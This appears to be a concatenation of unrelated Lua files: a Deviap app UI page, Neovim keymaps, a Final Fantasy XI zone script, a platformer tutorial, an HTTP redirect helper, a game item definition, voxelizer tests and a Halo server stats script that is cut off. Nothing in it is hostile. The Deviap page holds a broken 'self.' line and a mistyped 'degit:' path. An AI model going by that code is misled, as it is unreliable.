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-- Copyright 2021 - Deviap (deviap.com)
-- Author(s): Sanjay-B(Sanjay)
-- Creates the Develop page.
local card = require("devgit:source/libraries/UI/components/cards/editApp.lua")
local gridLayout = require("devgit:source/libraries/UI/constraints/controllers/gridLayout.lua")
local primaryButton = require("devgit:source/libraries/UI/components/buttons/primaryButton.lua")
local secondaryButton = require("devgit:source/libraries/UI/components/buttons/secondaryButton.lua")
return {
default = false,
construct = function(parent)
local scrollContainer = core.construct("guiScrollView", {
parent = parent,
position = guiCoord(0, 0, 0, 0),
size = guiCoord(1, 0, 1, 0),
scrollbarColour = colour.hex("#212121"),
scrollbarRadius = 0,
scrollbarWidth = 2,
scrollbarAlpha = 0
})
local heading = core.construct("guiTextBox", {
parent = scrollContainer,
text = "Develop",
position = guiCoord(0, 11, 0, 4),
size = guiCoord(1, 0, 0, 78),
textSize = 38,
textFont = "deviap:fonts/openSansExtraBold.ttf",
backgroundAlpha = 0
})
local subheading1 = core.construct("guiTextBox", {
parent = scrollContainer,
text = "Options",
position = guiCoord(0, 11, 0, 50),
size = guiCoord(1, 0, 0, 78),
textSize = 20,
textAlpha = 0.8,
textFont = "deviap:fonts/openSansSemiBold.ttf",
backgroundAlpha = 0
})
primaryButton {
parent = scrollContainer,
position = guiCoord(0, 11, 0, 80),
text = "OPEN UNPACKED APP",
textAlign = "middle",
strokeRadius = 5
}.state.subscribe(function(state)
if state.active then
core.apps:promptAppDirectory()
end
end)
secondaryButton {
parent = scrollContainer,
position = guiCoord(0, 11, 0, 135),
text = "OPEN SUITE",
textAlign = "middle",
strokeRadius = 5
}.state.subscribe(function(state)
if state.active then
self.
require("degit:source/suite/main.lua")
end
end)
local subheading2 = core.construct("guiTextBox", {
parent = scrollContainer,
text = "Apps",
position = guiCoord(0, 11, 0, 200),
size = guiCoord(1, 0, 0, 78),
textSize = 20,
textAlpha = 0.8,
textFont = "deviap:fonts/openSansSemiBold.ttf",
backgroundAlpha = 0
})
local layout = gridLayout()
layout.container.parent = scrollContainer
layout.container.position = guiCoord(0, 10, 0, 230)
layout.container.size = guiCoord(1, -20, 1, -240)
layout.container.canvasSize = guiCoord(0, 0, 0, 0)
layout.container.backgroundColour = colour.hex("#FF0000")
layout.container.backgroundAlpha = 0
layout.container.scrollbarAlpha = 0
layout.rows = 1
layout.columns = 8
layout.cellSize = vector2(100, 130)
layout.cellSpacing = vector2(10, 10)
layout.fitX = false
layout.fitY = false
layout.wrap = true
core.http:get("https://deviap.com/api/v1/users/"..(core.networking.localClient.id).."/apps", {["Authorization"] = "Bearer " .. core.engine:getUserToken()}, function(status, body)
local response = core.json:decode(body)
for index, entry in pairs(response) do
card {
parent = layout.container,
title = (string.len(entry["name"]) > 15 and string.sub(entry["name"], 1, 12).."...") or entry["name"],
name = entry["username"],
thumbnail = "https://cdn.deviap.com/"..(entry["icon"] or "")
}.container:on("mouseLeftUp", function()
-- Route to suite to open the app specifically
end)
end
end)
end
}
|
local function init()
require 'verdverm.vim'.init()
require 'verdverm.packer'.init()
require 'verdverm.cue'.init()
require 'verdverm.venn'.init()
end
return {
init = init,
}
|
local map = vim.api.nvim_set_keymap
-- moving up and down the right way
map("n", "j", "gj", { noremap = true, silent = true })
map("n", "k", "gk", { noremap = true, silent = true })
-- disable dead keys
map("n", "<Up>", "<Nop>", { noremap = true, silent = true })
map("n", "<Down>", "<Nop>", { noremap = true, silent = true })
map("n", "<Left>", "<Nop>", { noremap = true, silent = true })
map("n", "<Right>", "<Nop>", { noremap = true, silent = true })
map("i", "<Up>", "<Nop>", { noremap = true, silent = true })
map("i", "<Down>", "<Nop>", { noremap = true, silent = true })
map("i", "<Left>", "<Nop>", { noremap = true, silent = true })
map("i", "<Right>", "<Nop>", { noremap = true, silent = true })
map("n", "Q", "<Nop>", { noremap = true, silent = true })
map("n", "<C-z>", "<Nop>", { noremap = true, silent = true })
-- save as root
map("c", "w!!", "w !sudo tee % >/dev/null<CR>:e!<CR><CR>", { noremap = true })
-- open vim config
map("n", "<Leader>rc", ":e $MYVIMRC<CR>", { noremap = true })
-- keep visual selection when indenting
map("v", "<", "<gv", { noremap = true, silent = true })
map("v", ">", ">gv", { noremap = true, silent = true })
-- deal with clipboard
map("n", "<Leader>y", '"+y', { noremap = true })
map("v", "<Leader>y", '"+y', { noremap = true })
map("n", "<Leader>p", '"+p', { noremap = true })
map("v", "<Leader>p", '"+p', { noremap = true })
map("n", "<Leader>P", '"+P', { noremap = true })
-- buffer navigation
map("n", "<Leader>,", "<C-^>", { noremap = true })
map("n", "<Leader>ls", ":buffers<CR>", { noremap = true })
map("n", "gb", ":bnext<CR>", { noremap = true })
map("n", "gB", ":bprev<CR>", { noremap = true })
-- search and replace the word under cursor
map("n", "<Leader>*", ":%s/<C-r><C-w>//<Left>", { noremap = true })
|
-- Zone: Kuftal Tunnel (174)
-- Desc: this file contains functions that are shared by multiple luas in this zone's directory
-----------------------------------
local ID = require("scripts/zones/Kuftal_Tunnel/IDs")
require("scripts/globals/status")
-----------------------------------
KUFTAL_TUNNEL = {
--[[..............................................................................................
move Phantom Worm QM
..............................................................................................]]
movePhantomWormQM = function()
local npc = GetNPCByID(ID.npc.PHANTOM_WORM_QM)
switch (math.random(1, 16)): caseof
{
[1] = function (x) npc:setPos(75.943, 29.969, 118.854) end,
[2] = function (x) npc:setPos(75.758, 30.000, 125.815) end,
[3] = function (x) npc:setPos(65.222, 29.364, 131.645) end,
[4] = function (x) npc:setPos(53.088, 25.033, 138.725) end,
[5] = function (x) npc:setPos(85.658, 30.155, 123.941) end,
[6] = function (x) npc:setPos(91.153, 30.146, 113.657) end,
[7] = function (x) npc:setPos(86.549, 29.875, 107.232) end,
[8] = function (x) npc:setPos(94.763, 29.054, 105.138) end,
[9] = function (x) npc:setPos(102.719, 26.751, 102.816) end,
[10] = function (x) npc:setPos(71.571, 30.241, 110.704) end,
[11] = function (x) npc:setPos(65.642, 28.018, 99.2442) end,
[12] = function (x) npc:setPos(62.090, 25.421, 93.4702) end,
[13] = function (x) npc:setPos(60.740, 22.638, 86.1781) end,
[14] = function (x) npc:setPos(80.460, 30.293, 112.721) end,
[15] = function (x) npc:setPos(76.929, 30.050, 127.630) end,
[16] = function (x) npc:setPos(68.810, 30.175, 123.516) end,
}
npc:timer(5000, function(npc) KUFTAL_TUNNEL.movePhantomWormQM() end)
end
}
return KUFTAL_TUNNEL
|
-- This projects ports to Mote the excellent tutorial found here:
--
-- https://codeincomplete.com/posts/tiny-platformer/
--
-- This tutorial is well worth reading. Though it is written in ActionScript,
-- the concepts are portable to any development environment used for making games.
--
-- This project loads a tmx file, but only uses the first layer.
--
-- This project does not rely on the Mote entity system, and instead it
-- implements a separate physics sim more amenable to platforming gameplay.
--
-- The player keeps a redundant copy of tuning constants so that UpdateActor()
-- can be written in anticipation of adding different types of actors later that
-- may have different tuning values so that they behave differently from the player.
-- tuning parameters for player input
GRAVITY = 1.2
MAX_SPEED = { x = 3.4375, y = 6.3 }
LINEAR_ACCELERATION = 0.625 -- how fast the player accelerates when walking
FRICTION = 2
JUMP_IMPULSE = 25
FALLING_FRICTION_SCALE = 0.5
FALLING_ACCELERATION_SCALE = 0.5
SETTLE_TOLERANCE = 0.11 -- higher number indicates max penetration for player to snap to grid when coming to a stop.
-- helper functions
function getCell(x, y)
return map.tiles[1][(x + (y * map.width)) + 1] -- +1 because of lua array indexing
end
function InitActor(actor, x, y)
actor.x = x
actor.y = y
actor.left = false
actor.right = false
actor.jump = false
actor.jumping = false
actor.falling = false
actor.velocity = { x = 0, y = 0 }
actor.acceleration = { x = 0, y = 0 }
actor.friction = FRICTION
actor.linearAcceleration = LINEAR_ACCELERATION
actor.maxVelocityX = MAX_SPEED.x
actor.maxVelocityY = MAX_SPEED.y
actor.jumpImpulse = JUMP_IMPULSE
end
function UpdatePlayerInput()
player.left = false
player.right = false
player.jump = false
if IsKeyDown(SDL_SCANCODE_LEFT) then player.left = true end
if IsKeyDown(SDL_SCANCODE_RIGHT) then player.right = true end
if IsKeyDown(SDL_SCANCODE_SPACE) then player.jump = true end
end
function UpdateActor(actor)
local wasLeft = actor.velocity.x < 0
local wasRight = actor.velocity.x > 0
local falling = actor.falling
local friction = actor.friction * Pick(falling, FALLING_FRICTION_SCALE, 1.0)
local acceleration = actor.linearAcceleration * Pick(falling, FALLING_ACCELERATION_SCALE, 1.0)
actor.acceleration.x = 0
actor.acceleration.y = GRAVITY
if actor.left then actor.acceleration.x = actor.acceleration.x - acceleration
elseif wasLeft then actor.acceleration.x = actor.acceleration.x + friction end
if actor.right then actor.acceleration.x = actor.acceleration.x + acceleration
elseif wasRight then actor.acceleration.x = actor.acceleration.x - friction end
--start jumping?
if actor.jump and not actor.jumping and not falling then
actor.acceleration.y = actor.acceleration.y - actor.jumpImpulse
actor.jumping = true
end
local dt = GetFrameTime() / 100.0
actor.x = actor.x + actor.velocity.x * dt
actor.y = actor.y + actor.velocity.y * dt
actor.velocity.x = Clamp(actor.velocity.x + actor.acceleration.x * dt, -actor.maxVelocityX, actor.maxVelocityX)
actor.velocity.y = Clamp(actor.velocity.y + actor.acceleration.y * dt, -actor.maxVelocityY, actor.maxVelocityY)
--clamp x velocity to prevent jiggle when changing directions
if (wasLeft and actor.velocity.x > 0) or (wasRight and actor.velocity.x < 0) then
actor.velocity.x = 0
end
local tileX = math.floor(actor.x)
local tileY = math.floor(actor.y)
-- how deeply are we penetrating other tiles?
nx = math.fmod(actor.x, 1)
ny = math.fmod(actor.y, 1)
local cell = getCell(tileX, tileY)
local cellRight = getCell(tileX + 1, tileY)
local cellDown = getCell(tileX, tileY + 1)
local cellDiag = getCell(tileX + 1, tileY + 1)
if Contains(map.walkable, cell) then cell = nil end
if Contains(map.walkable, cellRight) then cellRight = nil end
if Contains(map.walkable, cellDown) then cellDown = nil end
if Contains(map.walkable, cellDiag) then cellDiag = nil end
if actor.velocity.y > 0 then
if (cellDown and not cell) or (cellDiag and not cellRight and nx > 0) then
actor.y = tileY
actor.velocity.y = 0
actor.falling = false
actor.jumping = false
ny = 0
end
elseif actor.velocity.y < 0 then
if (cell and not cellDown) or (cellRight and not cellDiag and nx > 0) then
actor.y = tileY + 1
actor.velocity.y = 0
cell = cellDown
cellRight = cellDiag
ny = 0
end
end
if actor.velocity.x > 0 then
if (cellRight and not cell) or (cellDiag and not cellDown and ny > 0) then
actor.x = tileX
actor.velocity.x = 0
end
elseif actor.velocity.x < 0 then
if (cell and not cellRight) or (cellDown and not cellDiag and ny > 0) then
actor.x = tileX + 1
actor.velocity.x = 0
end
end
actor.falling = not (cellDown or (nx > 0 and cellDiag))
-- let the actor tend to settle aligned to the grid so that it can fit through one-tile holes.
if actor.velocity.x == 0 and actor.velocity.y == 0 and math.fmod(actor.x, 1) < SETTLE_TOLERANCE then
actor.x = math.floor(actor.x)
end
end
function DrawWorld()
for y = 0, map.height - 1 do
for x = 0, map.width - 1 do
local tileImageIndex = map.tiles[1][(x + y * map.width) + 1]
DrawImageFrame(tileImage, x * map.tileSize, y * map.tileSize, map.tileSize, map.tileSize, tileImageIndex - 1, 0, 1)
end
end
end
function DrawPlayer()
SetDrawColor(255, 255, 255, 255)
FillRect(player.x * map.tileSize, player.y * map.tileSize, map.tileSize, map.tileSize)
end
-- core functions
function Start()
LoadTmxFile(assetDirectory .. "maps/platformer.tmx")
-- This example can handle maps with different tile sizes. For example, comment out the previous LoadTmxFile() call and uncomment this:
-- LoadTmxFile(assetDirectory .. "maps/platformer32.tmx")
map.walkable = {1, 2} --indices of tiles that the player and other actors can walk through.
CreateWindow(map.width * map.tileSize, map.height * map.tileSize)
SetWindowTitle("Platformer")
tileImage = LoadImage(map.tileAtlas)
player = {}
InitActor(player, 10, 22)
end
function Update()
UpdatePlayerInput()
UpdateActor(player)
end
function Draw()
DrawWorld()
DrawPlayer()
end |
local type = type
local assert = assert
local find = string.find
local urldecode = require "url".decode
local codes = {
[301] = "301 Moved Permanently", -- (永久移动)
[302] = "302 Found", -- (发现)
[303] = "303 See Other", -- (查看其他)
[307] = "307 Temporary Redirect", -- (临时重定向)
[308] = "308 Permanent Redirect", -- (永久重定向)
}
---comment 检查状态码是否在指定范围内
---@param code number @HTTP状态码
---@return boolean | integer
local function check_code(code)
return codes[code] and code or nil
end
---comment 检查重定向的url是否合法.
---@param url string @合法的路由或http[s]地址
---@return boolean | string
local function check_url(url)
if type(url) ~= "string" or url == "" then
return false
end
url = urldecode(url)
if find(url, "^/.*") then
return url
end
if find(url, "^http[s]?://.*") then
return url
end
return false
end
---comment 让注册的`USE`/`API`路由可以合法的重定向.
---@param code integer @HTTP状态码.
---@param url string @需要重定向的`URL`.
return function (code, url)
return { __OPCODE__ = -65536, __CODE__ = assert(check_code(code), "Invalid http code.") , __MSG__ = assert(check_url(url), "Invalid url") }
end |
--[[
Name: "sh_ks_teargrenade.lua".
Product: "HL2 RP".
--]]
local ITEM = {};
-- Set some information.
ITEM.base = "grenade_base";
ITEM.name = "Tear Grenade";
ITEM.cost = 50;
ITEM.model = "models/items/grenadeammo.mdl";
ITEM.weight = 0.8;
ITEM.uniqueID = "ks_teargrenade";
ITEM.business = true;
ITEM.vocations = {VOC_CPA_EPU, VOC_OTA_OWC};
ITEM.description = "A dirty tube of dust, is this supposed to be a grenade?";
-- Register the item.
kuroScript.item.Register(ITEM); |
math.randomseed(os.time())
local function random_color()
color={}
for i=1, 3 do color[i]=math.random(0, 255) end
return color
end
local function random_colors(k)
local random_colors={}
for i=1, k or 10000 do
table.insert(random_colors, random_color())
end
return random_colors
end
local function test_correctness()
local k=0
for i = 1, 1000 do
local colors=random_colors(1000)
local tree=kd_closest_color_finder(colors)
local color=random_color() --colors[math.random(1, 20)]
local linear, lin_distance=linear_closest_color_finder(colors)(color)
local kd, kd_distance=tree(color)
if lin_distance == kd_distance then
k=k+1
end
end
print(tostring(k).." of 1000 samples")
end
local function test_performance()
local color=random_color() --colors[math.random(1, 20)]
local colors=random_colors(10000)
local tree=kd_closest_color_finder(colors)
local linear=linear_closest_color_finder(colors)
for _, tree in ipairs({tree, linear}) do
local x = os.clock()
local s = 0
for i = 1, 1000 do kd, kd_distance=tree(color) end
print(string.format("elapsed time: %.2f", os.clock() - x))
end
end
print("Closest Color Finder Test : ")
test_correctness()
test_performance()
local function test_texture_reader()
image = read_texture(get_resource("voxelizer", "test/image.png"))
print("Texture Reader Test : ")
print(color_to_number(color_to_table(get_texture_color_at(image, 0, 0))) == 0x00000000)
print(color_to_number(color_to_table(get_texture_color_at(image, 1, 0))) == 0xFFFF0000)
print(color_to_number(color_to_table(get_texture_color_at(image, 0, 1))) == 0xFF00FF00)
print(color_to_number(color_to_table(get_texture_color_at(image, 1, 1))) == 0xFF0000FF)
end
test_texture_reader()
local function test_nodemap_reader()
print("Nodemap Reader Test : ")
local color_to_cid = read_node_map(modlib.file.read("/usr/share/games/minetest/minetestmapper-colors.txt"))
for c, cid in pairs(color_to_cid) do
print(string.format("%x", c).." -> "..minetest.get_name_from_content_id(cid))
end
end
test_nodemap_reader() |
--[[
--===================================================================--
Description: HPC Stats Script (Standalone), Phasor V2+
Copyright (c) 2016-2018
* Author: Jericho Crosby
* IGN: Chalwk
* Version: 4.0.1 (Heavily Modified)
* Written and Created by Jericho Crosby
* Credits to the original creator(s): SlimJim | Kennan
-- You can optionally define game mode settings in:
-- Default Game Mode = 'Zombies_Stats'
-- * function SetVehicleSettings()
--===================================================================--
]]--
BLUE_TEAM = 1
RED_TEAM = 1 - BLUE_TEAM
AnnounceRank = true
default_script_prefix = "* "
phasor_privatesay = privatesay
phasor_say = say
game_started = false
processid = 0
kill_count = 0
New_Game_Timer = 0
cur_players = 0
cur_red_count = 0
cur_blue_count = 0
time = { } -- Declare time. Used for player's time spent in server.
kills = { }
avenge = { }
killers = { }
xcoords = { } -- Declare x coords. Used for distance traveled.
ycoords = { } -- Declare y coords. Used for distance traveled.
zcoords = { } -- Declare z coords. Used for distance traveled.
messages = { }
jointime = { } -- Declare Jointime. Used for a player's time spent in server.
hash_table = { }
last_damage = { }
kill_command_count = { }
function say(message, script_prefix)
if GAME == "PC" then
phasor_say((script_prefix or default_script_prefix) .. " " .. message, false)
else
phasor_say(message, false)
end
end
function privatesay(player, message, script_prefix)
if GAME == "PC" then
phasor_privatesay(player, (script_prefix or default_script_prefix) .. " " .. message, false)
else
phasor_privatesay(player, message, false)
end
end
function Say(message, time, exception)
time = time or 3
for i = 0, 15 do
if getplayer(i) and exception ~= i then
privateSay(i, message, time)
end
end
end
function privateSay(player, message, time)
local time = time or 3
if message then
sendconsoletext(player, message, time)
end
end
function GetGameAddresses(GAME)
if GAME == "PC" then
oddball_globals = 0x639E18
slayer_globals = 0x63A0E8
name_base = 0x745D4A
specs_addr = 0x662D04
hashcheck_addr = 0x59c280
versioncheck_addr = 0x5152E7
map_pointer = 0x63525c
gametype_base = 0x671340
gametime_base = 0x671420
machine_pointer = 0x745BA0
timelimit_address = 0x626630
special_chars = 0x517D6B
gametype_patch = 0x481F3C
devmode_patch1 = 0x4A4DBF
devmode_patch2 = 0x4A4E7F
hash_duplicate_patch = 0x59C516
else
oddball_globals = 0x5BDEB8
slayer_globals = 0x5BE108
name_base = 0x6C7B6A
specs_addr = 0x5E6E63
hashcheck_addr = 0x530130
versioncheck_addr = 0x4CB587
map_pointer = 0x5B927C
gametype_base = 0x5F5498
gametime_base = 0x5F55BC
machine_pointer = 0x6C7980
timelimit_address = 0x5AA5B0
special_chars = 0x4CE0CD
gametype_patch = 0x45E50C
devmode_patch1 = 0x47DF0C
devmode_patch2 = 0x47DFBC
hash_duplicate_patch = 0x5302E6
end
end
function GetRequiredVersion()
return 200
end
function OnScriptLoad(processId, game, persistent)
if game == true or game == "PC" then
GAME = "PC"
else
GAME = "CE"
end
GetGameAddresses(GAME)
if persistent == true then
-- Script does not support persistence, therefore terminate.
registertimer(2300, "Terminate", {
"=============================================================",
" ~~~~~~~~~~~~~~~~~~~WARNING~~~~~~~~~~~~~~~~~~",
" ~~~~~~~PERSISTENCE MODE NOT SUPPORTED~~~~~~",
" ~~~~~~~~~~~~~SCRIPT CANNOT BE USED~~~~~~~~",
"============================================================="
})
end
if readbyte(gametype_base, 0x34) == 2 -- Slayer
or readbyte(gametype_base, 0x34) == 3 -- Oddball
or readbyte(gametype_base, 0x34) == 4 -- King of the Hill
or readbyte(gametype_base, 0x34) == 5-- Race
then
registertimer(2300, "Terminate", {
"=============================================================",
" ~~~~~~~~~~~~~~~~WARNING~~~~~~~~~~~~~~~~~",
" ~~~~~This script only supports CTF!~~~~~",
" ~~~~~~~~~~SCRIPT CANNOT BE USED~~~~~~~~~",
"============================================================="
})
end
gametype = readbyte(gametype_base + 0x30)
-------------------------------------------
-- OPEN FILES:
-- Stats.txt
-- KillStats.txt
-- Sprees.txt
-- Medals.txt
-- Extra.txt
-- CompletedMedals.txt
OpenFiles()
-------------------------------------------
processid = processId
SERVER_NAME = getservername()
game_started = true
if game == "PC" then
gametype_base = 0x671340
elseif game == "CE" then
gametype_base = 0x5F5498
end
-- Recalculate team counters.
cur_blue_count = getteamsize(BLUE_TEAM)
cur_red_count = getteamsize(RED_TEAM)
cur_players = cur_blue_count + cur_red_count
end
function OnScriptUnload()
-- Save Tables
table.save(sprees, "Sprees.txt")
table.save(medals, "Medals.txt")
table.save(stats, "Stats.txt")
end
function Terminate(id, count, message)
if message then
for v = 1, #message do
hprintf(message[v])
end
end
svcmd("sv_end_game")
return 0
end
function OnNewGame(map)
-- Map Name
map_name = tostring(map)
-- Reset Variables
cur_blue_count = 0
cur_red_count = 0
cur_players = 0
-- Game hasn't started yet. (Not until the timer counts down)
game_started = false
-- Initialize Countdown
new_game_timer = registertimer(1000, "CountdownToGameStart")
Rule_Timer = registertimer(1000, "RuleTimer")
gametype = readbyte(gametype_base + 0x30, 0x0)
end
function OnGameEnd(stage)
-- stage 1: F1 Screen
-- stage 2: PGCR Appears
-- stage 3: Players may quit
if stage == 1 then
-- < Remove Timers
if New_Game_Timer then
New_Game_Timer = nil
end
if credit_timer then
credit_timer = nil
end
if Rule_Timer then
Rule_Timer = nil
end
-- >
registertimer(10, "AssistDelay")
for i = 0, 15 do
if getplayer(i) then
-- Verify Red Team
if getteam(i) == RED_TEAM then
changescore(i, 50, plus)
-- If a human survives the game without dying, then reward them 50+ cR
SendMessage(i, "Awarded: +50 (cR) - Survivor")
killstats[gethash(i)].total.credits = killstats[gethash(i)].total.credits + 50
end
-- If the palyer has less than 3 kills on game end, then award them 15+ cR
if readword(getplayer(i) + 0xAE) < 3 then
-- player deaths
changescore(i, 15, plus)
SendMessage(i, "Awarded: +15 (cR) - Less then 3 Deaths")
killstats[gethash(i)].total.credits = killstats[gethash(i)].total.credits + 15
end
extra[gethash(i)].woops.gamesplayed = extra[gethash(i)].woops.gamesplayed + 1
time = os.time() - jointime[gethash(i)]
extra[gethash(i)].woops.time = extra[gethash(i)].woops.time + time
end
end
end
if stage == 1 then
table.save(killstats, "KillStats.txt")
table.save(extra, "Extra.txt")
table.save(done, "CompletedMedals.txt")
end
if stage == 2 then
table.save(sprees, "Sprees.txt")
end
if stage == 3 then
table.save(stats, "Stats.txt")
table.save(medals, "Medals.txt")
table.save(extra, "Extra.txt")
end
game_started = false
end
function OnServerChat(player, type, message)
local Message = string.lower(message)
local t = tokenizestring(Message, " ")
local count = #t
if player ~= nil then
local hash = gethash(player)
if Message == "@kill" then
-- Verify Red Team
if getteam(player) ~= RED_TEAM then
if isplayerdead(player) == false then
if kill_command_count[hash] <= 5 then
kill_command_count[hash] = kill_command_count[hash] + 1
kill(player)
say(getname(player) .. " killed themself.")
else
privatesay(player, "You are only allowed to kill yourself 5 times in a match!")
end
else
privatesay(player, "You are dead! You can not kill yourself!")
end
else
privatesay(player, "You are a Human, you can not kill yourself.")
end
return false
elseif Message == "@stuck" then
sendconsoletext(player, "If you are stuck in the wall you can :")
sendconsoletext(player, "1. Get out of your vehicle and walk.")
sendconsoletext(player, "2. Type \"@kill\" and respawn again.")
return false
elseif Message == "@info" then
privatesay(player, "\"@weapons\": Will display stats for eash weapon.")
privatesay(player, "\"@stats\": Will display about your kills, deaths etc.")
privatesay(player, "\"@sprees\": Will display info about your Killing Spreees.")
privatesay(player, "\"@rank\": Will display info about your rank.")
privatesay(player, "\"@medals\": Will display info about your medals.")
return false
elseif Message == "@weapons" then
-- =========================================================================================================================================================================
privatesay(player, "Assault Rifle: " .. stats[hash].kills.assaultrifle .. " | Banshee: " .. stats[hash].kills.banshee .. " | Banshee Fuel Rod: " .. stats[hash].kills.bansheefuelrod .. " | Chain Hog: " .. stats[hash].kills.chainhog)
privatesay(player, "EMP Blast: " .. extra[hash].woops.empblast .. " | Flame Thrower: " .. stats[hash].kills.flamethrower .. " | Frag Grenade: " .. stats[hash].kills.fragnade .. " | Fuel Rod: " .. stats[hash].kills.fuelrod)
privatesay(player, "Ghost: " .. stats[hash].kills.ghost .. " | Melee: " .. stats[hash].kills.melee .. " | Needler: " .. stats[hash].kills.needler .. " | People Splattered: " .. stats[hash].kills.splatter)
privatesay(player, "Pistol: " .. stats[hash].kills.pistol .. " | Plasma Grenade: " .. stats[hash].kills.plasmanade .. " | Plasma Pistol: " .. stats[hash].kills.plasmapistol .. " | Plasma Rifle: " .. stats[hash].kills.plasmarifle)
privatesay(player, "Rocket Hog: " .. extra[hash].woops.rockethog .. " | Rocket Launcher: " .. stats[hash].kills.rocket .. " | Shotgun: " .. stats[hash].kills.shotgun .. " | Sniper Rifle: " .. stats[hash].kills.sniper)
privatesay(player, "Stuck Grenade: " .. stats[hash].kills.grenadestuck .. " | Tank Machine Gun: " .. stats[hash].kills.tankmachinegun .. " | Tank Shell: " .. stats[hash].kills.tankshell .. " | Turret: " .. stats[hash].kills.turret)
-- =========================================================================================================================================================================
return false
elseif Message == "@stats" then
local Player_KDR = RetrievePlayerKDR(player)
local cpm = math.round(killstats[hash].total.credits / extra[hash].woops.gamesplayed, 2)
if cpm == 0 or cpm == nil then
cpm = "No credits earned"
end
local days, hours, minutes, seconds = secondsToTime(extra[hash].woops.time, 4)
-- =========================================================================================================================================================================
privatesay(player, "Kills: " .. killstats[hash].total.kills .. " | Deaths: " .. killstats[hash].total.deaths .. " | Assists: " .. killstats[hash].total.assists)
privatesay(player, "KDR: " .. Player_KDR .. " | Suicides: " .. killstats[hash].total.suicides .. " | Betrays: " .. killstats[hash].total.betrays)
privatesay(player, "Games Played: " .. extra[hash].woops.gamesplayed .. " | Time in Server: " .. days .. "d " .. hours .. "h " .. minutes .. "m " .. seconds .. "s")
privatesay(player, "Distance Traveled: " .. math.round(extra[hash].woops.distance / 1000, 2) .. " kilometers | Credits Per Map: " .. cpm)
-- =========================================================================================================================================================================
return false
elseif Message == "@sprees" then
-- =========================================================================================================================================================================
privatesay(player, "Double Kill: " .. sprees[hash].count.double .. " | Triple Kill: " .. sprees[hash].count.triple .. " | Overkill: " .. sprees[hash].count.overkill .. " | Killtacular: " .. sprees[hash].count.killtacular)
privatesay(player, "Killtrocity: " .. sprees[hash].count.killtrocity .. " | Killimanjaro " .. sprees[hash].count.killimanjaro .. " | Killtastrophe: " .. sprees[hash].count.killtastrophe .. " | Killpocalypse: " .. sprees[hash].count.killpocalypse)
privatesay(player, "Killionaire: " .. sprees[hash].count.killionaire .. " | Kiling Spree " .. sprees[hash].count.killingspree .. " | Killing Frenzy: " .. sprees[hash].count.killingfrenzy .. " | Running Riot: " .. sprees[hash].count.runningriot)
privatesay(player, "Rampage: " .. sprees[hash].count.rampage .. " | Untouchable: " .. sprees[hash].count.untouchable .. " | Invincible: " .. sprees[hash].count.invincible .. " | Anomgstopkillingme: " .. sprees[hash].count.anomgstopkillingme)
privatesay(player, "Unfrigginbelievable: " .. sprees[hash].count.unfrigginbelievable .. " | Minutes as Last Man Standing: " .. sprees[hash].count.timeaslms)
-- =========================================================================================================================================================================
return false
elseif Message == "@rank" then
local credits = { }
for k, _ in pairs(killstats) do
table.insert(credits, { ["hash"] = k, ["credits"] = killstats[k].total.credits })
end
table.sort(credits, function(a, b)
return a.credits > b.credits
end)
for k, v in ipairs(credits) do
if hash == credits[k].hash then
local until_next_rank = CreditsUntilNextPromo(player)
-- =========================================================================================================================================================================
privatesay(player, "You are ranked " .. k .. " out of " .. #credits .. "!")
privatesay(player, "Credits: " .. killstats[hash].total.credits .. " | Rank: " .. killstats[hash].total.rank)
privatesay(player, "Credits Until Next Rank: " .. until_next_rank)
-- =========================================================================================================================================================================
end
end
return false
elseif Message == "@medals" then
-- =========================================================================================================================================================================
privatesay(player, "Any Spree: " .. medals[hash].class.sprees .. " (" .. medals[hash].count.sprees .. ") | Assistant: " .. medals[hash].class.assists .. " (" .. medals[hash].count.assists .. ") | Close Quarters: " .. medals[hash].class.closequarters .. " (" .. medals[hash].count.assists .. ")")
privatesay(player, "Crack Shot: " .. medals[hash].class.crackshot .. " (" .. medals[hash].count.crackshot .. ") | Downshift: " .. medals[hash].class.downshift .. " (" .. medals[hash].count.downshift .. ") | Grenadier: " .. medals[hash].class.grenadier .. " (" .. medals[hash].count.grenadier .. ")")
privatesay(player, "Heavy Weapons: " .. medals[hash].class.heavyweapons .. " (" .. medals[hash].count.heavyweapons .. ") | Jack of all Trades: " .. medals[hash].class.jackofalltrades .. " (" .. medals[hash].count.jackofalltrades .. ") | Mobile Asset: " .. medals[hash].class.mobileasset .. " (" .. medals[hash].count.moblieasset .. ")")
privatesay(player, "Multi Kill: " .. medals[hash].class.multikill .. " (" .. medals[hash].count.multikill .. ") | Sidearm: " .. medals[hash].class.sidearm .. " (" .. medals[hash].count.sidearm .. ") | Trigger Man: " .. medals[hash].class.triggerman .. " (" .. medals[hash].count.triggerman .. ")")
-- =========================================================================================================================================================================
return false
end
if t[1] == "@weapons" then
if t[2] then
local rcon_id = tonumber(t[2])
if rcon_id then
local Player = rresolveplayer(rcon_id)
if Player then
local hash = gethash(Player)
if hash then
privatesay(player, getname(Player) .. "'s Weapon Stats")
privatesay(player, "Assault Rifle: " .. stats[hash].kills.assaultrifle .. " | Banshee: " .. stats[hash].kills.banshee .. " | Banshee Fuel Rod: " .. stats[hash].kills.bansheefuelrod .. " | Chain Hog: " .. stats[hash].kills.chainhog)
privatesay(player, "EMP Blast: " .. extra[hash].woops.empblast .. " | Flame Thrower: " .. stats[hash].kills.flamethrower .. " | Frag Grenade: " .. stats[hash].kills.fragnade .. " | Fuel Rod: " .. stats[hash].kills.fuelrod)
privatesay(player, "Ghost: " .. stats[hash].kills.ghost .. " | Melee: " .. stats[hash].kills.melee .. " | Needler: " .. stats[hash].kills.needler .. " | People Splattered: " .. stats[hash].kills.splatter)
privatesay(player, "Pistol: " .. stats[hash].kills.pistol .. " | Plasma Grenade: " .. stats[hash].kills.plasmanade .. " | Plasma Pistol: " .. stats[hash].kills.plasmapistol .. " | Plasma Rifle: " .. stats[hash].kills.plasmarifle)
privatesay(player, "Rocket Hog: " .. extra[hash].woops.rockethog .. " | Rocket Launcher: " .. stats[hash].kills.rocket .. " | Shotgun: " .. stats[hash].kills.shotgun .. " | Sniper Rifle: " .. stats[hash].kills.sniper)
privatesay(player, "Stuck Grenade: " .. stats[hash].kills.grenadestuck .. " | Tank Machine Gun: " .. stats[hash].kills.tankmachinegun .. " | Tank Shell: " .. stats[hash].kills.tankshell .. " | Turret: " .. stats[hash].kills.turret)
-- =========================================================================================================================================================================
else
privatesay(player, "Script Error! Please try again!")
end
else
privatesay(player, "Please enter a number between 1 and 16 to view their stats! They must be in the server!")
end
else
privatesay(player, "Please enter a number between 1 and 16 to view their stats!")
end
end
return false
elseif t[1] == "@stats" then
if t[2] then
local rcon_id = tonumber(t[2])
if rcon_id then
